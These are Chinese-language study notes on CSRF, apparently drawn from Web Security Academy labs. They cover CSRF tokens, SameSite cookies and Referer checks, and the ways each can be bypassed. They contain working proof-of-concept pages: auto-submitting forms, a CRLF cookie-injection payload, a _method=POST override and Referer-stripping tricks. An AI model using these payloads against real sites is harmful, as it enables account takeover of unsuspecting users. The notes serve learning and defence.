CSRF基本
CSRF(Cross-Site Request Forgery)是一种利用Web应用身份验证机制的漏洞进行攻击的方式。
本质:利用浏览器自动携带cookie的特性,伪造用户请求
用户通过浏览器登录过一次某网站后,网站会给予一个cookie作为身份认证,该cookie由浏览器进行存放,当用户再次访问该网站时,浏览器会自动携带相应的cookie去发送请求,使用户不需要每次登录都输入账号密码。CSRF攻击,在恶意内容中构建表单(包含目标网站和它会执行的操作),诱导受害者访问恶意内容,浏览器在恶意内容中识别到针对目标网站的表单会自动携带受害者的cookie去执行。
CSRF攻击的三大必要条件
存在可被利用的操作
典型可攻击操作:
-
修改账户设置(邮箱/密码)
-
资金转账
-
发表内容/评论
-
权限变更操作
-
特征:这些操作会改变应用状态或用户数据
2.基于Cookie的会话管理
攻击依赖:浏览器会自动携带目标站点的Cookie
3.没有不可预测的请求参数
满足以上三个条件后,攻击者可以构建如下网页
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
表单元素
<form> 标签
属性解析:
action="https://vulnerable-website.com/email/change"
作用:指定表单提交的目标URL
安全意义:指向存在CSRF漏洞的端点
典型合法用法:应指向自己的域名或已验证的安全端点
method="POST"
作用:指定HTTP请求方法
安全意义:POST方法比GET更隐蔽但仍可被CSRF利用
防御建议:即使使用POST也需要CSRF防护
<input> 标签
属性解析:
type="hidden"
作用:创建不可见的输入字段
安全意义:常用于存储不应被用户修改的数据,但攻击者可轻易查看和修改
name="email"
作用:定义参数的名称
value="pwned@evil-user.net"
作用:设置字段的默认值
攻击用途:预设为攻击者控制的邮箱地址
3. 脚本元素
<script> 标签
作用:包含或引用JavaScript代码
代码解析:
document.forms[0].submit();
document.forms[0]:获取文档中的第一个表单
.submit():自动提交表单
攻击用途:无需用户交互即可触发表单提交
那么如果受害用户访问攻击者的网页,将发生以下情况:
-
攻击者的页面将触发对易受攻击网站的 HTTP 请求。
-
如果用户登录到易受攻击的网站,他们的浏览器将自动在请求中包含他们的会话 cookie(假设未使用 SameSite cookie)。
-
易受攻击的网站将以正常方式处理请求,将其视为受害用户发出的请求,并更改他们的电子邮件地址。
注:
尽管 CSRF 通常与基于 cookie 的会话处理有关,但它也出现在应用程序自动向请求添加一些用户凭据的其他上下文中,例如 HTTP 基本身份验证和基于证书的身份验证。
针对 CSRF 的常见防御措施
CSRF tokens
CSRF 令牌是由服务器端应用程序生成并与客户端共享的唯一、秘密且不可预测的值。尝试执行敏感作(例如提交表单)时,客户端必须在请求中包含正确的 CSRF 令牌,这使得攻击者很难代表受害者构建有效的请求。与客户端共享 CSRF 令牌的常见方法是将它们作为隐藏参数包含在 HTML 表单中。
token包含过程

只有直接访问目标页面才能拿到token,而受害者触发的恶意网站执行的是直接提交表单,都没有访问目标网站获取token那一步。
绕过该防御
可能绕过该防御的方法:
1.post–>get
当请求使用 POST 方法时,某些应用程序会正确验证令牌,但在使用 GET 方法时跳过验证。在这种情况下,攻击者可以切换到 GET 方法来绕过验证并发动 CSRF 攻击。
2.删除令牌
CSRF 令牌的验证取决于令牌是否存在
某些应用程序在令牌存在时正确验证令牌,但如果省略令牌,则跳过验证。在这种情况下,攻击者可以删除包含令牌的整个参数(而不仅仅是其值)以绕过验证并发动 CSRF 攻击。
3.用自己的令牌代替
CSRF 令牌未绑定到用户会话
某些应用程序不会验证令牌是否与发出请求的用户属于同一会话。相反,应用程序维护它已颁发的令牌的全局池,并接受此池中出现的任何令牌。在这种情况下,攻击者可以使用自己的帐户登录应用程序,获取有效的令牌,然后在 CSRF 攻击中将该令牌提供给受害用户。
4.用自己的csrfkey和令牌代替
在上述漏洞的变体中,某些应用程序确实将 CSRF 令牌绑定到 Cookie,但不绑定到用于跟踪会话的同一 Cookie。当应用程序使用两个不同的框架(一个用于会话处理,一个用于 CSRF 保护)时,很容易发生这种情况,它们没有集成在一起。这种情况更难利用,但仍然容易受到攻击。如果网站包含任何允许攻击者在受害者浏览器中设置 cookie 的行为,则可能会进行攻击。攻击者可以使用自己的帐户登录应用程序,获取有效的令牌和关联的 cookie,利用 cookie 设置行为将其 cookie 放入受害者的浏览器中,并在 CSRF 攻击中将其令牌提供给受害者。
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com
简单来说就是token(上述代码块中的csrf就是token)和cookie中的csrfKey绑定了,而不是和cookie中的session绑定,攻击者可以登录自己账户拿到自己的csrfkey和对应的token,然后把这俩都搞到受害者那里,如此发送请求后服务器验证的是token与csrfkey是否匹配(而不是token与session是否匹配),但事实上这俩虽然都不是受害者的,但的确匹配,验证成功,请求会被执行。
<html>
<!– CSRF PoC – generated by Burp Suite Professional –>
<body>
<form action="https://0ac800e504adfc1f89adb1a1008d0010.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="77799 @web-security-academy.net" />
<input type="hidden" name="csrf" value="O0sMpQdzVAycIZUNhRAAEuN5OA7n7sf1" />
</form>
<img src="https://0a0f003b04965ba1812c2a6c008c002b.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=s3yf0fTZXTEqvdtChdOKluea6U2EAzIg%3b%20SameSite=None; Secure" οnerrοr="document.forms[0].submit()"> #实验室的题,search查询有漏洞,就这样通过它直接把受害者的cookie里的csrfKey给改了,上边交的cookie和这个key是对应的,请求成功。
#οnerrοr="document.forms[0].submit()的作用是加载图片失败就自动提交,之所以不用<script>是为了确保顺序,必须先修改了csrfkey,再提交包含攻击者email和CSRF的表单。即利用图片加载的过程,我们强制让浏览器先去执行 src 里的注入操作。等到报错触发 onerror 时,Cookie 已经种好了,这时候再提交表单,万无一失。
#再细说一下这个search的漏洞,在第一次发送search请求(内容为777)时,我观察到它的cookie有个参数叫lastsearchterm,此时它的值为???。第二次发送search请求(内容为333)时,我看到本次的请求中cookie里lastsearchterm的值变为了777。也就是说,在第一次中服务器收到搜索请求后返回的HTTP Response 中包含了一个指令:Set-Cookie: LastSearchTerm=777,浏览器收到这个指令后,会把 LastSearchTerm=777 保存在自己的本地 Cookie 库里,下次发送请求时带上的cookie才会包含那个777。这就是漏洞。我这次输入333,服务器返回指令告诉浏览器把cookie里的那谁改为333。那我输入333\\r\\nSet-Cookie:csrfKey=某key;SameSite=None。\\r\\n那里换行符,服务器认为这一行 Header 结束了,另起一行Set-Cookie: csrfKey=我的KEY。就能成功篡改cookie中的csrfkey了。最好不直接从search框里输入,会有编码问题(换行符和分号什么的乱了),可以直接构建URL,原url后跟/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None这种就行。
</body>
</html>
5.同时篡改用户body和cookie中的令牌
CSRF 令牌只是在 cookie 中复制
在上述漏洞的进一步变体中,某些应用程序不维护已颁发令牌的任何服务器端记录,而是在 cookie 和请求参数中复制每个令牌。验证后续请求时,应用程序只需验证在请求参数中提交的令牌是否与 cookie 中提交的值匹配。这有时被称为针对 CSRF 的“双重提交”防御,之所以提倡,是因为它易于实现并且避免了任何服务器端状态:
POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com
在这种情况下,如果网站包含任何 cookie 设置功能,攻击者可以再次执行 CSRF 攻击。在这里,攻击者不需要获取自己的有效令牌。他们只是发明一个令牌(如果正在检查的话,也许是所需的格式),利用 cookie 设置行为将他们的 cookie 放入受害者的浏览器中,并在他们的 CSRF 攻击中将他们的令牌提供给受害者。
简单来说就是用户提交请求时cookie里带个令牌(csrf),body里也带一个令牌,完事服务器验证一下这俩令牌一不一样,一样就验证通过。而攻击者都不用登自己号获得key和令牌了,ta直接把受害者cookie和body里的令牌全改了(随便改成什么只要两个一样就行),请求就能通过了。前提是该网站能够通过漏洞设置cookie,比如下边这个就是通过搜索功能篡改cookie的。
<html>
<!– CSRF PoC – generated by Burp Suite Professional –>
<body>
<form action="https://0a32000a0341668c80a20343007c00b5.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="wiener@normal-user.net" />
<input type="hidden" name="csrf" value="fake" /> #给人家改成fake了
<input type="submit" value="Submit request" />
</form>
<img src="https://0a32000a0341668c80a20343007c00b5.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" οnerrοr="document.forms[0].submit();"/> #这也改成fake,俩一样,通过,既不用知道受害者本来的令牌,也不用找自己的令牌和key去取代
</body>
</html>
6.“邻里干扰”(也叫 Cookie 投掷,Cookie Tossing)
只要是在同一个大域名(顶级域名)下,即便是一个安全性很差的子域名,也可以往其他安全性很高的子域名里“塞” Cookie。
核心规则:Cookie 的“向上兼容”
在浏览器中,Cookie 的作用范围(Scope)是可以向父级域名共享的。
-
如果 staging.example.com 设置了一个 Cookie,并指定 Domain=.example.com。
-
那么,当用户访问 secure.example.com 时,浏览器会自动带上这个 Cookie。
这种手法通常用于绕过双重令牌(Double Submit Cookie)防御。在渗透测试中,如果主站无懈可击,横向寻找有漏洞的子域名往往是突破口。
SameSite Cookie
SameSite 是一种浏览器安全机制,用于确定何时将网站的 Cookie 包含在来自其他网站的请求中。由于执行敏感作的请求通常需要经过身份验证的会话 Cookie,因此适当的 SameSite 限制可能会阻止攻击者跨站点触发这些作。自 2021 年起,Chrome 默认强制实施Lax SameSite 限制。由于这是拟议的标准,我们预计其他主要浏览器将来也会采用这种行为。
SameSite的三种模式
| Strict | 完全禁止跨站携带 | 极高敏感操作(如银行转账) |
| Lax | 仅允许顶级导航的GET请求携带(默认值) | 平衡安全与第三方集成需求 |
| None | 允许所有跨站携带(必须配合Secure属性) | 需要跨站功能的场景(如单点登录) |
(如果发布 Cookie 的网站未明确设置SameSite属性,Chrome 会默认自动应用Lax限制。)
Lax携带cookie条件:使用GET方法发起的请求;该请求是由用户进行顶级导航(例如单击链接)产生的(后台请求如由脚本、iframe 或对图像和其他资源的引用发起的请求,不携带cookie)。
当samesite被设置为none时,要求cookie带上secure属性,即只能在https协议中发送。
顶级导航
顶级导航就是浏览器地址栏(URL bar)发生变化的跳转。 当一个动作导致整个浏览器标签页的内容被替换,并且地址栏显示了新地址时,这就是顶级导航。
常见的顶级导航行为包括:
-
在地址栏直接输入 URL 并回车。
-
点击页面上的超链接(<a href="…">)。
-
使用 JavaScript 修改窗口地址(window.location.href 或 document.location)。
-
表单提交(<form>)导致的页面跳转(注意:AJAX/Fetch 请求不属于顶级导航,因为它们不改变地址栏)。
之所以允许顶级导航携带cookie,也是为了用户体验,不然点个朋友分享的淘宝链接进去了还得登录。
静默请求(危险):如果一个网页在后台偷偷用 <img>、<iframe> 或 <xhr> 请求另一个站点的接口,用户是看不见的。这是 CSRF 攻击的高发区,所以 Lax 默认禁止这些请求携带 Cookie。 显式跳转(相对安全):当用户点击链接或地址栏变动时,用户是知情的(他能看到网页变了,地址栏也变了)。虽然这依然可能被 CSRF 利用,但攻击的隐蔽性大大降低。
在 CSRF 攻击中,请求是否属于“顶级导航”,完全看受害者浏览器地址栏(URL Bar)的状态是否发生了改变。
通过绕过token的几个实验可以看出,CSRF攻击一般是通过诱导受害者进入攻击者构建的网页,该网页里有<script>或其他能执行的东西,受害者怎么进来的无所谓,网页只是攻击代码的载体,进来就行。加载完该网页后其中的攻击代码执行了,从攻击者网站向目标网站发起连接(这肯定是个跨站请求,所以那些方法前提是samesite=None或Lax,如果是strict得考虑同站点重定向漏洞),这个请求是否是顶级导航取决于提交表单的方式。看几个示例:
情况 A:使用 document.location 或 window.location(属于顶级导航)
document.location = "https://target-website.com/change-email?email=hacker@evil.com&_method=POST";
表现:受害者的浏览器地址栏会直接从 evil-attacker.com 变成 target-website.com。
情况 B:使用标准的 HTML <form> 自动提交(通常属于顶级导航)
<form action="https://target-website.com/change-email" method="GET"> #也可以直接用post,前提是samesite是none,因为lax只允许get携带cookie。
<input type="hidden" name="email" value="hacker@evil.com">
<input type="hidden" name="_method" value="POST" /> #欺骗服务器这是post请求,因为有的服务器要求提交表单必须用post
</form>
<script>document.forms[0].submit();</script>
表现:由于表单提交没有指定 target,默认会在当前标签页跳转。地址栏会从攻击页面跳转到目标站点的响应页面。地址栏条转了,这也属于顶级导航。
情况 C:使用 AJAX、Fetch 或 <iframe>(不属于顶级导航)
如果想让攻击更隐蔽,不让受害者发现页面跳转:
fetch("https://target-website.com/change-email", { method: 'POST', … });
在隐藏的 <iframe> 里提交表单。
-
表现:受害者看着自己的地址栏没动,依然留在 evil-attacker.com。
-
性质:这不属于顶级导航,这叫“跨站子请求”(Cross-site subresource request)。
站点和源的区别
站点:<一级域名>.<顶级域名>,即 TLD(顶)+1(一)。
TLD包括:
• 纯TLD:`.com`、`.net` 等
• 国家代码TLD:`.co.uk`、`.com.cn` 等(需整体使用)
• 公共后缀(eTLD):`.github.io`、`.blogspot.com` 等(平台专用)
| URL A | URL B | 是否同站 |
| ————————– | ————————- | ——– |
| `https://example.com` | `http://example.com` | ✅ 是 |
| `https://example.com:443` | `https://example.com:444` | ✅ 是 |
| `https://shop.example.com` | `https://pay.example.com` | ✅ 是 |
| `https://a.github.io` | `https://b.github.io` | ❌ 否 |
源:<协议>://<域名>:<端口>
如果两个 URL 共享完全相同的方案、域名和端口,则它们被视为具有相同的来源。一个站点包含多个域名,而一个源仅包含一个域名。
| URL A | URL B |是否同源|是否同站|
| ————————– | ————————| ——– | ——– |
| `https://example.com` | `https://example.com` | ✅ | ✅ |
| `https://example.com` | `http://example.com` | ❌ | ✅ |
| `https://example.com:443` | `https://example.com:444` | ❌ | ✅ |
| `https://shop.example.com`| `https://pay.example.com` | ❌ | ✅ |
绕过该防御
1.用_method绕过LAX
LAX属性时会在GET请求中带上cookie,只要将本是post的请求转换为GET请求就可以实现攻击。
而敏感操作(如修改邮箱)一般强制使用post方法,这时攻击者可以将请求修改为GET,然后在参数中添加_method=POST,而服务器接受method=POST`参数覆盖实际GET方法,结果就是服务器错误地将其当作POST请求处理,但浏览器仍按GET规则携带Cookie。
<script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>
#当使用 document.location = '…' 时,浏览器认为用户正在进行一次“页面跳转”(就像点击了一个链接)。因为这是一个 GET 请求且属于顶级导航,浏览器会非常配合地把受害者的 session Cookie 塞进请求头里发给服务器。
如果服务器端代码写得很死,例如:
-
Java (Spring) 使用了 @PostMapping
-
Node.js (Express) 使用了 router.post()
-
PHP 显式使用了 $_POST['email'] 而不是 $_REQUEST['email']
并且它们不支持 _method=POST 这种伪装参数,那么 GET 请求就会返回 405 Method Not Allowed。
2.客户端重定向
前提是存在与目标网站同站点且有重定向功能的网站
攻击者构造恶意链接
https://bank.com/redirect?url=https://bank.com/transfer?to=hacker&amount=1000
受害者有可能从evil.com点击了这个链接
第一步:访问 bank.com/redirect
这是跨站请求(因为从 evil.com 发起的),所以,如果 Cookie 是 SameSite=Strict,浏览器不会带 Cookie。如果 Cookie 是 SameSite=Lax(默认),浏览器会带 Cookie(因为这是导航请求)。这一步带不带都无所谓。
第二步:bank.com/redirect 返回页面,执行客户端跳转,浏览器会执行跳转到 https://bank.com/transfer?to=hacker&amount=1000。此时浏览器认为这是同站请求(从 bank.com/redirect 跳转到 bank.com/transfer),所以会带上所有 Cookie(包括 SameSite=Strict 的 Cookie)。
3.利用cookie刷新
每次OAuth登录都会设置新cookie,拥有两分钟的豁免期,在此期间没有显式设置samesite的网站(默认为lax),会允许post携带cookie跨站请求。但是明确设置为lax的就不行。
基于 Referer 的验证
某些应用程序使用 HTTP Referer 标头来尝试防御 CSRF 攻击,通常是通过验证请求是否来自应用程序自己的域。这通常不如 CSRF tokens验证有效。
开发者没有使用复杂的 Token 机制,而是选择检查请求的 Referer(来源地址),只要请求是从自家域名发出来的,就是安全的。
情况一:
某些应用程序的验证逻辑是这样写的:如果请求里带了 Referer,那么检查它是否包含我的域名。 如果请求里根本没有 Referer,那么直接放行。
黑客的目标是让受害者的浏览器在发送 CSRF 请求时,主动丢弃 Referer 头部。
实现方法:
1)在恶意页面中添加
<meta name="referrer" content="never">
<meta name="referrer" content="no-referrer"> #现代浏览器
2)从 HTTPS 跳转到 HTTP:出于安全考虑,浏览器默认不会在从加密网站跳往非加密网站时发送 Referer。
3)使用 <a> 标签的属性:在链接中使用 rel="noreferrer"。
情况二:
开发者使用模糊匹配来检查 Referer。
前缀匹配(Starts with):
-
验证逻辑:检查来源是否以 vulnerable-website.com 开头。
-
绕过方法:将目标域名作为你控制域名的子域名。
-
例子:http://vulnerable-website.com.attacker-website.com/csrf-attack。
包含匹配(Contains):
-
验证逻辑:只要来源字符串里包含 vulnerable-website.com 就算通过。
-
绕过方法:将目标域名放在 URL 的查询参数(Query String)里。
-
例子:http://attacker-website.com/csrf-attack?vulnerable-website.com。
为了隐私安全,现代浏览器默认执行 strict-origin-when-cross-origin 策略。跨站请求时,浏览器会自动剥离查询参数,只发送域名(Origin)部分。你的 ?vulnerable-website.com 会被浏览器删掉,导致后端验证失败。为了让浏览器把带参数的完整 URL 发出去,你需要在 Exploit Server 的响应头(Response Header)中进行设置。
-
设置项:Referrer-Policy: unsafe-url。
-
作用:强制浏览器不论在什么情况下,都发送完整的 URL(包含路径和查询字符串)作为 Referer。
攻击执行:history.pushState("", "", "/?目标网站根url")
history.pushState() 是浏览器 HTML5 历史记录 API 的一部分,它允许你在不刷新页面的情况下,手动修改浏览器地址栏显示的 URL。
history.pushState(state, title, url)
第一个参数 (state):一个与新历史记录条目关联的状态对象(通常传空字符串 "" 或 {})。
第二个参数 (title):页面的标题(大多数浏览器现在忽略它,通常传空字符串 "")。
第三个参数 (url):核心部分。这是你想要显示在地址栏的新 URL 路径.
执行history.pushState('', '', '/');会起到美化和清理的对象,确保提交表单时攻击页面的URL比较干净,可以将https://exploit-xxx.net/exploit变为https://exploit-xxx.net/。那用最上边那个时就可以添加referrer,实现对包含匹配的攻击。






